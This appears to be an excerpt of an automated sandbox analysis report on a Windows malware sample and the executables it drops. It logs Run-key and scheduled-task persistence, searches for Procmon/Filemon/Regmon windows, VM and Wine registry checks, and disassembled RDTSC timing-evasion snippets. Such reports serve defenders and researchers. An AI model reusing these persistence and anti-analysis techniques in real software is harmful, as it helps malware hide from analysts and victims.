Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\DocumentsHCFCAAEBGC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 067286f766.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 067286f766.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fd9f6e129b.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fd9f6e129b.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 92cf6f64c8.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 92cf6f64c8.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8416d1ef13.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8416d1ef13.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5355F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5355F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6490B6 second address: 6490D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 jmp 00007F5BB0EE6E21h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6490D2 second address: 6490D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6490D8 second address: 6490DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6490DC second address: 6490FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007F5BB112B656h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007F5BB112B65Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6490FE second address: 64911B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5BB0EE6E29h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639B5A second address: 639B86 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F5BB112B664h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c pushad 0x0000000d jno 00007F5BB112B65Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639B86 second address: 639B8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 648222 second address: 648236 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B65Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 648236 second address: 64823C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64823C second address: 648240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 648240 second address: 648256 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5BB0EE6E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f jp 00007F5BB0EE6E16h 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 648256 second address: 64825B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64825B second address: 648261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6488C9 second address: 6488D3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5BB112B662h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6488D3 second address: 6488D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6488D9 second address: 6488E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6488E0 second address: 648904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c ja 00007F5BB0EE6E16h 0x00000012 pushad 0x00000013 popad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 jmp 00007F5BB0EE6E1Dh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 648904 second address: 64891C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B662h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C2EB second address: 64C2F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C2F1 second address: 64C352 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 5109B319h 0x0000000f mov cl, A3h 0x00000011 push 00000003h 0x00000013 mov esi, dword ptr [ebp+122D1C5Ch] 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c pop edx 0x0000001d push ecx 0x0000001e mov ecx, dword ptr [ebp+122D1CF8h] 0x00000024 pop edx 0x00000025 push 00000003h 0x00000027 push 00000000h 0x00000029 push esi 0x0000002a call 00007F5BB112B658h 0x0000002f pop esi 0x00000030 mov dword ptr [esp+04h], esi 0x00000034 add dword ptr [esp+04h], 00000015h 0x0000003c inc esi 0x0000003d push esi 0x0000003e ret 0x0000003f pop esi 0x00000040 ret 0x00000041 push EFE661E2h 0x00000046 push esi 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F5BB112B665h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C3CB second address: 64C47F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 movsx edi, cx 0x0000000b push 00000000h 0x0000000d add ecx, dword ptr [ebp+122D1DA9h] 0x00000013 push 0170A7F1h 0x00000018 jne 00007F5BB0EE6E1Ch 0x0000001e xor dword ptr [esp], 0170A771h 0x00000025 mov dl, cl 0x00000027 jmp 00007F5BB0EE6E29h 0x0000002c push 00000003h 0x0000002e mov cx, si 0x00000031 push 00000000h 0x00000033 mov ecx, 4B547525h 0x00000038 push 00000003h 0x0000003a add dh, FFFFFFE3h 0x0000003d push AA99C7DCh 0x00000042 jmp 00007F5BB0EE6E28h 0x00000047 xor dword ptr [esp], 6A99C7DCh 0x0000004e sub edi, dword ptr [ebp+122D2C6Ah] 0x00000054 lea ebx, dword ptr [ebp+1245017Ch] 0x0000005a mov esi, ecx 0x0000005c xchg eax, ebx 0x0000005d jmp 00007F5BB0EE6E1Eh 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 jnc 00007F5BB0EE6E29h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C47F second address: 64C485 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C55B second address: 64C5B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 add dword ptr [esp], 5EDB476Ah 0x0000000d mov si, ax 0x00000010 push 00000003h 0x00000012 mov edi, dword ptr [ebp+122D2080h] 0x00000018 push 00000000h 0x0000001a mov edi, 2B76C31Bh 0x0000001f push 00000003h 0x00000021 jmp 00007F5BB0EE6E1Dh 0x00000026 call 00007F5BB0EE6E19h 0x0000002b push edx 0x0000002c push eax 0x0000002d jbe 00007F5BB0EE6E16h 0x00000033 pop eax 0x00000034 pop edx 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jl 00007F5BB0EE6E24h 0x0000003e jmp 00007F5BB0EE6E1Eh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C5B3 second address: 64C5B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C5B9 second address: 64C5E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5BB0EE6E29h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C5E1 second address: 64C64B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov eax, dword ptr [eax] 0x0000000c jne 00007F5BB112B660h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jmp 00007F5BB112B65Fh 0x0000001b pop eax 0x0000001c jnp 00007F5BB112B65Ch 0x00000022 lea ebx, dword ptr [ebp+12450187h] 0x00000028 or cl, FFFFFF81h 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F5BB112B65Ch 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C64B second address: 64C65F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C65F second address: 64C686 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5BB112B65Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5BB112B662h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C686 second address: 64C690 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5BB0EE6E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C690 second address: 64C696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65DD8A second address: 65DD8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65DD8E second address: 65DDA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jne 00007F5BB112B668h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65DDA0 second address: 65DDA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638177 second address: 63817D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63817D second address: 638183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638183 second address: 6381AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 ja 00007F5BB112B656h 0x0000000c jne 00007F5BB112B656h 0x00000012 pop ebx 0x00000013 jmp 00007F5BB112B65Ah 0x00000018 push eax 0x00000019 push edx 0x0000001a jl 00007F5BB112B656h 0x00000020 push edx 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A809 second address: 66A80F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A80F second address: 66A814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A814 second address: 66A820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F5BB0EE6E16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A820 second address: 66A824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
